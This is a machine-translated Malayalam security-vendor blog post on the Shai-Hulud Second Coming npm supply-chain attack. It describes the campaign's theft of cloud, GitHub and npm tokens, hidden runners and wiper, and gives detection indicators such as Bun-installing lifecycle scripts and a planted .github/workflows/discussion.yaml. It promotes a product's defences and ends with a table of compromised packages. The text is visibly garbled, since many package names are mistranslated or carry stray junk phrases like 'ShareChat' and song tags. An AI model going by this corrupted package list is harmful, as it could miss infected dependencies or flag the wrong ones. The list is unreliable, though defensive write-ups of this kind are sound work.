ഷായ്-ഹുലുദ് സെക്കൻഡ് കമിംഗ് പോലുള്ള ആക്രമണാത്മകമായ ഒരു കാമ്പെയ്നിനുശേഷം, ടീമുകൾക്ക് മാനുവൽ പരിശോധനകളേക്കാൾ കൂടുതൽ ആവശ്യമാണ്. ഡെവലപ്പർമാർ, സിഐ റണ്ണർമാർ അല്ലെങ്കിൽ പ്രൊഡക്ഷൻ സിസ്റ്റങ്ങളിൽ എത്തുന്നതിനുമുമ്പ് മാൽവെയറിനെ തടയുന്ന ഓട്ടോമേറ്റഡ് പരിരക്ഷ അവർക്ക് ആവശ്യമാണ്. ഇവിടെയാണ് സൈജെനി ഒരു പ്രധാന നേട്ടം നൽകുന്നത്.
മാൽവെയർ നേരത്തെയുള്ള മുന്നറിയിപ്പ് (MEW): ഭീഷണികൾ പടരുന്നതിന് മുമ്പ് കണ്ടെത്തുക.
സൈജെനിയുടെ ഏർലി വാണിംഗ് എഞ്ചിൻ പുതിയതും അപ്ഡേറ്റ് ചെയ്തതുമായ ഓപ്പൺ സോഴ്സ് പാക്കേജുകൾ തത്സമയം സ്കാൻ ചെയ്യുന്നു. ഇത് സംശയാസ്പദമായ പെരുമാറ്റങ്ങളെ ഫ്ലാഗ് ചെയ്യുന്നു, ഉദാഹരണത്തിന്:
- അവ്യക്തമായ ജാവാസ്ക്രിപ്റ്റ് അല്ലെങ്കിൽ വലിയ ബണ്ടിൽ ചെയ്ത കോഡ്
- ബൺ പോലുള്ള ബാഹ്യ റൺടൈമുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്ന ലൈഫ് സൈക്കിൾ സ്ക്രിപ്റ്റുകൾ
- GitHub, npm അല്ലെങ്കിൽ ക്ലൗഡ് എൻഡ്പോയിന്റുകളിലേക്കുള്ള അപ്രതീക്ഷിത കണക്ഷനുകൾ
- എഴുതുന്ന ഡ്രോപ്പറുകൾ
$HOME,.dev-env/അല്ലെങ്കിൽ വർക്ക്ഫ്ലോ ഫോൾഡറുകൾ
ഷായ്-ഹുലുദ് തരംഗങ്ങളിൽ ഉപയോഗിക്കുന്ന പാറ്റേണുകൾ MEW കണ്ടെത്തി, ഇത് ആക്രമണകാരികൾ അണുബാധ കൂടുതൽ വ്യാപിപ്പിക്കുന്നതിന് മുമ്പ് ടീമുകളെ പ്രതികരിക്കാൻ സഹായിക്കുന്നു.
Guardrails in CI/CD ദോഷകരമായ പാക്കേജുകൾ തടയുക
സൈജെനി നടപ്പിലാക്കുന്നു guardrails സുരക്ഷിതമല്ലാത്ത പ്രവർത്തനങ്ങൾ സ്വയമേവ നിർത്തുന്നവ:
- CI pipelineമറഞ്ഞിരിക്കുന്ന പ്രീഇൻസ്റ്റാൾ അല്ലെങ്കിൽ പോസ്റ്റ്ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റുകൾ ഉള്ള പാക്കേജുകൾ s-ന് ഇൻസ്റ്റാൾ ചെയ്യാൻ കഴിയില്ല.
- ഒരു പാക്കേജ് ഇതുപോലുള്ള വർക്ക്ഫ്ലോകൾ സൃഷ്ടിക്കാൻ ശ്രമിക്കുമ്പോൾ ബിൽഡുകൾ പരാജയപ്പെടുന്നു
.github/workflows/discussion.yaml - Pipelineവിശ്വസനീയമല്ലാത്ത ഉറവിടങ്ങളിൽ നിന്നോ ആദ്യം കണ്ട അക്കൗണ്ടുകളിൽ നിന്നോ പ്രസിദ്ധീകരിക്കുന്ന ആശ്രിതത്വങ്ങൾ നിരസിക്കുക.
ഇത് ആക്രമണ പ്രതലം ഗണ്യമായി കുറയ്ക്കുകയും CI ജോലികൾക്കുള്ളിൽ മാൽവെയർ പ്രവർത്തിക്കുന്നത് തടയുകയും ചെയ്യുന്നു.
സീക്രട്ട്സ് പ്രൊട്ടക്ഷൻ സ്ഫോടന ദൂരം കുറയ്ക്കുന്നു.
ഷായ്-ഹുലുദ് ക്ലൗഡ് കീകൾ, ഗിറ്റ്ഹബ് ടോക്കണുകൾ, npm ടോക്കണുകൾ, CI രഹസ്യങ്ങൾ എന്നിവ മോഷ്ടിക്കുന്നതിനാൽ, സംരക്ഷണം ക്രെഡൻഷ്യലുകളിലും ശ്രദ്ധ കേന്ദ്രീകരിക്കണം. Xygeni:
- കോഡ്, ലോഗുകൾ, വർക്ക്ഫ്ലോകൾ, പരിസ്ഥിതി ഫയലുകൾ എന്നിവയ്ക്കുള്ളിലെ വെളിപ്പെടുത്തിയ രഹസ്യങ്ങൾ കണ്ടെത്തുന്നു.
- ഉയർന്ന അപകടസാധ്യതയുള്ള ക്രെഡൻഷ്യലുകൾ യാന്ത്രികമായി തിരിക്കുന്നു
- ദീർഘകാല വിട്ടുവീഴ്ച പരിമിതപ്പെടുത്തുന്നതിന് ഹ്രസ്വകാല ടോക്കണുകൾ നടപ്പിലാക്കുന്നു.
ഒരു ആക്രമണകാരിക്ക് പ്രാരംഭ ആക്സസ് ലഭിച്ചാൽ പോലും, മോഷ്ടിക്കപ്പെട്ട താക്കോലുകൾ പെട്ടെന്ന് ഉപയോഗശൂന്യമാകും.
അന്തിമ കുറിപ്പുകൾ: ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണം ഇപ്പോഴും പ്രധാനമായിരിക്കുന്നത് എന്തുകൊണ്ട്?
ദി ശൈ-ഹുലുദ് രണ്ടാം വരവ് ഒരു ആധുനിക എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണം ആവാസവ്യവസ്ഥകളിലൂടെ സഞ്ചരിക്കാൻ കഴിയും. ഈ സാഹചര്യത്തിൽ, മാൽവെയറുകൾ npm-ൽ നിന്ന് Maven-ലേക്ക് കുതിച്ചത് ഓട്ടോമേറ്റഡ് മിററിംഗ് ടൂളുകൾ പോലുള്ളവ മൂലമാണ് എംവിഎൻപിഎം പരിശോധന കൂടാതെ അപഹരിക്കപ്പെട്ട പാക്കേജുകൾ പുനഃപ്രസിദ്ധീകരിച്ചു. തൽഫലമായി, ജാവ ടീമുകൾ ഒരിക്കലും നേരിട്ട് npm ഉപയോഗിച്ചിട്ടില്ലെങ്കിലും അവ തുറന്നുകാട്ടപ്പെട്ടു. ക്രോസ്-രജിസ്ട്രി വർക്ക്ഫ്ലോകൾക്ക് ഉടനടി അവലോകനവും ശക്തമായ സുരക്ഷാ സംവിധാനങ്ങളും ആവശ്യമാണെന്ന് ഇത് വ്യക്തമാക്കുന്നു.
മാത്രമല്ല, ഈ കാമ്പെയ്നിന്റെ വ്യാപ്തിയും പെരുമാറ്റവും ഇന്ന് ആക്രമണകാരികൾ എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് വെളിപ്പെടുത്തുന്നു. നിശബ്ദത പാലിക്കുന്നതിനുപകരം, അവർ ഒരേസമയം നൂറുകണക്കിന് പാക്കേജുകൾ പ്രസിദ്ധീകരിക്കുന്നു, മറഞ്ഞിരിക്കുന്ന GitHub റണ്ണറുകളെ വിന്യസിക്കുന്നു, രഹസ്യങ്ങൾ മൊത്തത്തിൽ മോഷ്ടിക്കുന്നു, എന്തെങ്കിലും പരാജയപ്പെട്ടാൽ ഒരു വിനാശകരമായ വൈപ്പർ പോലും ഉൾപ്പെടുത്തുന്നു. തൽഫലമായി, മാനുവൽ അവലോകനങ്ങൾ ഈ ലെവൽ ഓട്ടോമേഷനും വേഗതയും നിലനിർത്തുന്നില്ല. പാക്കേജ്, ഉറവിടം, pipeline ലെയറുകൾ.
എന്തുകൊണ്ട് തുടർച്ചയായി Pipeline Security ഇപ്പോൾ അത്യാവശ്യമാണ്
പോലുള്ള ആക്രമണങ്ങൾ ശൈ-ഹുലുദ് രണ്ടാം വരവ് പരിണമിച്ചുകൊണ്ടിരിക്കും. അതിനാൽ, അടുത്ത തരംഗത്തെ തടയുന്നതിന് ഉള്ളിൽ യാന്ത്രികമായി പ്രവർത്തിക്കുന്ന നിയന്ത്രണങ്ങൾ ആവശ്യമാണ്. CI/CD, വിട്ടുവീഴ്ചയ്ക്ക് ശേഷമല്ല. വികസന പരിതസ്ഥിതികളിലൂടെ ശ്രദ്ധിക്കപ്പെടാതെ ക്ഷുദ്ര കോഡിന് സഞ്ചരിക്കാൻ കഴിയാത്തവിധം ആധുനിക പ്രതിരോധം നേരത്തെയുള്ള മാൽവെയർ കണ്ടെത്തൽ, കർശനമായ ആശ്രിതത്വ മൂല്യനിർണ്ണയം, നയ നിർവ്വഹണം, രഹസ്യ സംരക്ഷണം എന്നിവ സംയോജിപ്പിക്കണം.
ഓട്ടോമേറ്റഡ് നൽകുന്നതിലൂടെ സൈജെനി ഈ മാറ്റത്തെ പിന്തുണയ്ക്കുന്നു guardrails മുഴുവൻ സോഫ്റ്റ്വെയർ വിതരണ ശൃംഖലയിലുടനീളം. ഇൻസ്റ്റാളേഷന് മുമ്പ് സംശയാസ്പദമായ പാക്കേജുകൾ ഇത് തിരിച്ചറിയുന്നു, സുരക്ഷിതമായ ആശ്രിത പതിപ്പുകൾ നടപ്പിലാക്കുന്നു, സുരക്ഷിതമല്ലാത്ത വർക്ക്ഫ്ലോകൾ തടയുന്നു, വെളിപ്പെടുത്തിയ രഹസ്യങ്ങൾ കണ്ടെത്തുന്നു, അസാധാരണമായവയെക്കുറിച്ച് മുന്നറിയിപ്പ് നൽകുന്നു. pipeline പ്രവർത്തനം. തൽഫലമായി, വിതരണ ശൃംഖല ആക്രമണങ്ങൾ വേഗത്തിൽ വ്യാപിക്കുകയും ആവാസവ്യവസ്ഥയുടെ അതിരുകൾ കടക്കുകയും ചെയ്യുമ്പോൾ പോലും ടീമുകൾ സുരക്ഷിതരായി തുടരുന്നു.
അപകടത്തിലായ പാക്കേജുകളുടെ പട്ടിക
ബാധിച്ച പാക്കേജുകളെ ഉപയോഗിച്ച് പരിശോധിക്കാവുന്നതാണ് #ഷായ്-ഹുലുദ് / #ഷായ്-ഹുലുദ്-രണ്ടാം വരവ് ടാഗ് വിത്തിൻ ഓപ്പൺസോഴ്സ്മാൽവെയർ.കോം
| പാക്കേജ് | പതിപ്പ് |
|---|---|
| 02-എക്കോ | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/നേറ്റീവ് | 0.1.32 |
| @actbase/node-സെർവർ | 1.1.19 |
| @actbase/react-absolute (ആക്റ്റ്ബേസ്) | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat | 1.0.6 |
| @actbase/react-native-naver- - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChatlogin | 1.0.1 |
| @actbase/react-native-simple-video-ആദ്യം | 1.0.13 |
| @actbase/react-native-tiktok_tok@ആക്റ്റ്ബേസ് | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7, 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2, 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser-ൽ ക്ലിക്ക് ചെയ്യുക | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam_tamil #🎶 പാട്ടുകൾ | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-ടെംപ്ലേറ്റ് | 1.0.2, 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2, 1.2.1 |
| @asyncapi/go-watermill-template (മലയാളം) | 0.2.76, 0.2.77 |
| @asyncapi/java-ടെംപ്ലേറ്റ് | 0.3.6, 0.3.5 |
| @asyncapi/കീപ്പർ | 0.0.3, 0.0.2 |
| @asyncapi/php-ടെംപ്ലേറ്റ് | 0.1.2, 0.1.1 |
| @asyncapi/python-paho-template (പൈത്തൺ-പഹോ-ടെംപ്ലേറ്റ്) | 0.2.15, 0.2.14 |
| @asyncapi/server-api | 0.16.25, 0.16.24 |
| @asyncapi/സ്റ്റുഡിയോ | 1.0.3, 1.0.2 |
| @asyncapi/web-ഘടകം | 2.6.7, 2.6.6 |
| @ബ്രൗസർബസെഹ്ക്/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @ബ്രൗസർബസെഹ്ക്/എംസിപി | 2.1.1 |
| @browserbasehq/mcp-സെർവർ-ബ്രൗസർബേസ് | 2.4.2 |
| @browserbasehq/sdk-ഫംഗ്ഷനുകൾ | 0.0.4 |
| @browserbasehq/സ്റ്റേജ്ഹാൻഡ് | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl (ഫ്ലോസ്-സ്റ്റെപ്പ്-ടാസ്ക്സ്ക്രിയേറ്റർൽ) | 0.1.14 |
| @കമ്യൂട്ട്/ബ്ലൂം | 1.0.3 |
| @കമ്യൂട്ട്/മാർക്കറ്റ്-ഡാറ്റ | 1.0.2 |
| @കമ്യൂട്ട്/മാർക്കറ്റ്-ഡാറ്റ-ചാർട്ട്ജുകൾ | 2.3.1 |
| @dev-blinq/ai-qa-logic (എഴുത്തുകാരന്) | 1.0.19 |
| @dev-blinq/കുക്കുമ്പർ-ജെഎസ് | 1.0.131 |
| @dev-blinq/കുക്കുമ്പർ_ക്ലയന്റ് | 1.0.738 |
| @dev-blinq/ui-systems (ഡെവലപ്പർ) | 1.0.93 |
| @ensdomains/വിലാസം-എൻകോഡർ | 1.1.5 |
| @ensdomains/ബ്ലാക്ക്ലിസ്റ്റ് | 1.0.1 |
| @ensdomains/ബഫർ | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-റീഡ്-റൂട്ടർ | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/കർവ്അരിത്മെറ്റിക്സ് | 1.0.1 |
| @ensdomains/സൈപ്രസ്-മെറ്റാമാസ്ക് | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-അവതാർ | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock (പരിഹാസം) | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-വിലാസം | 0.0.32 |
| @ensdomains/പുതുക്കൽ | 0.0.13 |
| @ensdomains/renewal-widget-ൽ ക്ലിക്ക് ചെയ്യുക. | 0.1.10 |
| @ensdomains/reverse-records | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/subdomain-രജിസ്ട്രാർ | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader (അടുത്ത ലോഡർ) | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts (എവർറിയൽ/റിയാക്ട്-ചാർട്ടുകൾ) | 2.0.1, 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4, 1.4.5 |
| @everreal/വെബ്-അനലിറ്റിക്സ് | 0.0.1, 0.0.2 |
| @faq-ഘടകം/കോർ | 0.0.4 |
| @faq-ഘടകം/പ്രതികരണം | 1.0.1 |
| @fishingbooker/browser-sync-plugin | 1.0.5 |
| @fishingbooker/react-loader (ഭാഷ: ഇംഗ്ലീഷ്) | 1.0.7 |
| @fishingbooker/react-pagination (ഭാഷാ പേജ്) | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @ഹോവർ-ഡിസൈൻ/കോർ | 0.0.1 |
| @ഹോവർ-ഡിസൈൻ/റിയാക്റ്റ് | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/design-system | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/ഘടകങ്ങൾ | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/medusa-plugin-announcement | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/വെബ് | 0.0.2 |
| @lessondesk/api-ക്ലയന്റ് | 9.12.3, 9.12.2 |
| @lessondesk/babel-പ്രീസെറ്റ് | 1.0.1 |
| @lessondesk/electron-group-api-client | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @ലെസ്സോണ്ടെസ്ക്/സ്കൂൾബസ് | 5.2.2, 5.2.3 |
| @livecms/ലൈവ്-എഡിറ്റ് | 0.0.32 |
| @livecms/nuxt-ലൈവ്-എഡിറ്റ് | 1.9.2 |
| @louisle2/കോർ | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service (ഫയർസ്റ്റോർ-റെപ്പോ-സർവീസ്) | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2, 1.0.1 |
| @ntnx/പാസ്പോർട്ട്-wso2 | 0.0.3 |
| @ntnx/ടി | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/ടൈം-സ്ലൈഡർ | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/എറർ-ഹാൻഡ്ലർ | 1.2.2 |
| @പോസ്റ്റോഗ്/ഏജന്റ് | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @പോസ്റ്റോഗ്/ക്ലൈ | 0.5.15 |
| @പോസ്റ്റോഗ്/ക്ലിക്ക്ഹൗസ് | 1.7.1 |
| @posthog/കോർ | 1.5.6 |
| @posthog/മുള്ളൻപന്നി-മോഡ് | 0.0.42 |
| @posthog/ഐക്കണുകൾ | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @പോസ്റ്റോഗ്/നക്സ്റ്റ് | 1.2.9 |
| @posthog/പിസ്കിന | 3.2.1 |
| @posthog/plugin-സംഭാവന | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @പോസ്റ്റോഗ്/ആർആർഡം | 0.0.31 |
| @പോസ്റ്റോഗ്/ആർആർവെബ് | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-റെക്കോർഡ് | 0.0.31 |
| @posthog/rrweb-റീപ്ലേ | 0.0.19 |
| @posthog/rrweb-സ്നാപ്പ്ഷോട്ട് | 0.0.31 |
| @posthog/rrweb-utils (@posthog) എന്ന വെബ്സൈറ്റ് സന്ദർശിക്കുക. | 0.0.31 |
| @പോസ്റ്റോഗ്/സിഫാഷ് | 1.1.2 |
| @posthog/വിസാർഡ് | 1.18.1 |
| @പോസ്റ്റ്മാൻ/എതർ-ഐക്കണുകൾ | 2.23.4, 2.23.3, 2.23.2 |
| @പോസ്റ്റ്മാൻ/csv-പാഴ്സ് | 4.0.5, 4.0.3, 4.0.4 |
| @പോസ്റ്റ്മാൻ/നോഡ്-കീറ്റാർ | 7.9.6, 7.9.4, 7.9.5 |
| @പോസ്റ്റ്മാൻ/ടണൽ-ഏജന്റ് | 0.6.7, 0.6.6, 0.6.5 |
| @pradhumngautam/common-app (പ്രധുമ്നഗൗതം) | 1.0.2 |
| @pruthvi21/ഉപയോഗിക്കുക-ഡീബൗൺസ് | 1.0.3 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ഡോക്യുമെന്റ്-ട്രാൻസ്ലേറ്റർ | 1.4.2511142126 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ജിറ്റ്-ക്ലീൻ-മാർക്ക്ഡൗൺ | 1.4.2511142126 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ-ഇമേജ് | 1.4.2511142126 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ-പ്രിന്റ് | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-റിമൂവ്-ഇമേജ്-ബാക്ക്ഗ്രൗണ്ട് | 1.4.2511142126 |
| @ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ടാസ്ക്-റിഫൈൻ | 1.4.2511142126 |
| @relyt/claude-context-core (എഴുത്ത്) | 0.1.1 |
| @seezo/sdr-mcp-സെർവർ | 0.0.5 |
| @seung-ju/അടുത്തത് | 0.0.2 |
| @seung-ju/openapi-ജനറേറ്റർ | 0.0.4 |
| @seung-ju/react- - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChathooks | 0.0.2 |
| @seung-ju/react-native-action-sheet-ൽ ക്ലിക്ക് ചെയ്യുക | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker - തീയതിയും സമയവും | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/മീഡിയം-കോമൺ | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @ടിയാന്ഡപ്ലെസിസ്/ജെസൺ | 2.0.3, 2.0.2 |
| @tiaanduplessis/react-progressbar (പ്രോഗ്രസ്ബാർ) | 1.0.2, 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @ട്രിഗോ/അട്രിക്സ് | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @ട്രിഗോ/അട്രിക്സ്-പോസ്റ്റ്ഗ്രെസ് | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @ട്രിഗോ/അട്രിക്സ്-സോപ്പ് | 1.0.2 |
| @trigo/atrix-swagger (ആട്രിക്സ്-സ്വാഗർ) | 3.0.1 |
| @trigo/bool-expressions (എക്സ്പ്രഷനുകൾ) | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @ട്രിഗോ/എഫ്എസ്എം | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/പാത്ത്ഫൈൻഡർ-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-റേറ്റ്-ലിമിറ്റർ/ക്ലൗഡ്ഫ്ലെയർ | 0.1.4 |
| @trpc-റേറ്റ്-ലിമിറ്റർ/ഹോണോ | 0.1.4 |
| @varsityvibe/api-ക്ലയന്റ് | 1.3.36, 1.3.37 |
| @varsityvibe/utils (@varsityvibe) എന്ന വെബ്സൈറ്റ് സന്ദർശിക്കുക. | 5.0.6 |
| @varsityvibe/validation-സ്കീമകൾ | 0.6.7, 0.6.8 |
| @വിഷാദ്ത്യാഗി/മുഴുവർഷ കലണ്ടർ | 0.1.11 |
| @വോയ്സ്ഫ്ലോ/അലക്സ-തരം | 2.15.60, 2.15.61 |
| @വോയ്സ്ഫ്ലോ/ആന്ത്രോപിക് | 0.4.4, 0.4.5 |
| @വോയ്സ്ഫ്ലോ/എപിഐ-എസ്ഡികെ | 3.28.58, 3.28.59 |
| @വോയ്സ്ഫ്ലോ/ബാക്കെൻഡ്-യൂട്ടിലുകൾ | 5.0.2, 5.0.1 |
| @വോയ്സ്ഫ്ലോ/ബേസ്-ടൈപ്പുകൾ | 2.136.3, 2.136.2 |
| @വോയ്സ്ഫ്ലോ/ബോഡി-പാഴ്സർ | 1.21.2, 1.21.3 |
| @വോയ്സ്ഫ്ലോ/ചാറ്റ്-തരങ്ങൾ | 2.14.59, 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1, 0.2.2 |
| @വോയ്സ്ഫ്ലോ/commitലിന്റ്-കോൺഫിഗ് | 2.6.2, 2.6.1 |
| @വോയ്സ്ഫ്ലോ/കോമൺ | 8.9.1, 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4, 1.7.3 |
| @വോയ്സ്ഫ്ലോ/ഡിപൻഡൻസി-ക്രൂയിസർ-കോൺഫിഗ് | 1.8.12, 1.8.11 |
| @വോയ്സ്ഫ്ലോ/dtos-ഇന്ററാക്ട് | 1.40.2, 1.40.1 |
| @വോയ്സ്ഫ്ലോ/എൻക്രിപ്ഷൻ | 0.3.3, 0.3.2 |
| @വോയ്സ്ഫ്ലോ/എസ്ലിന്റ്-കോൺഫിഗ് | 7.16.4, 7.16.5 |
| @വോയ്സ്ഫ്ലോ/എസ്ലിന്റ്-പ്ലഗിൻ | 1.6.2, 1.6.1 |
| @വോയ്സ്ഫ്ലോ/എക്സിപ്ഷൻ | 1.10.2, 1.10.1 |
| @വോയ്സ്ഫ്ലോ/ഫെച്ച് | 1.11.1, 1.11.2 |
| @voiceflow/general-types | 3.2.23, 3.2.22 |
| @വോയ്സ്ഫ്ലോ/ജിറ്റ്-ബ്രാഞ്ച്-ചെക്ക് | 1.4.4, 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12, 2.17.13 |
| @വോയ്സ്ഫ്ലോ/ഗൂഗിൾ-തരം | 2.21.12, 2.21.13 |
| @വോയ്സ്ഫ്ലോ/ഹസ്കി-കോൺഫിഗ് | 1.3.1, 1.3.2 |
| @വോയ്സ്ഫ്ലോ/ലോഗർ | 2.4.3, 2.4.2 |
| @വോയ്സ്ഫ്ലോ/മെട്രിക്സ് | 1.5.2, 1.5.1 |
| @voiceflow/natural-language-commander-ൽ നിന്നുള്ള ഒരു വീഡിയോ | 0.5.2, 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2, 2.75.3 |
| @വോയ്സ്ഫ്ലോ/നെസ്റ്റ്ജെഎസ്-മോംഗോഡിബി | 1.3.1, 1.3.2 |
| @voiceflow/nestjs-നിരക്ക്-പരിധി | 1.3.3, 1.3.2 |
| @വോയ്സ്ഫ്ലോ/നെസ്റ്റ്ജെഎസ്-റെഡിസ് | 1.3.1, 1.3.2 |
| @voiceflow/nestjs-ടൈംഔട്ട് | 1.3.1, 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1, 1.1.2 |
| @വോയ്സ്ഫ്ലോ/ഓപെനായി | 3.2.2, 3.2.3 |
| @വോയ്സ്ഫ്ലോ/പിനോ | 6.11.4, 6.11.3 |
| @വോയ്സ്ഫ്ലോ/പിനോ-പ്രെറ്റി | 4.4.2, 4.4.1 |
| @വോയ്സ്ഫ്ലോ/പ്രെറ്റിയർ-കോൺഫിഗ് | 1.10.2, 1.10.1 |
| @വോയ്സ്ഫ്ലോ/റിയാക്റ്റ്-ചാറ്റ് | 1.65.4, 1.65.3 |
| @വോയ്സ്ഫ്ലോ/റൺടൈം | 1.29.1, 1.29.2 |
| @വോയ്സ്ഫ്ലോ/റൺടൈം-ക്ലയന്റ്-ജെഎസ് | 1.17.3, 1.17.2 |
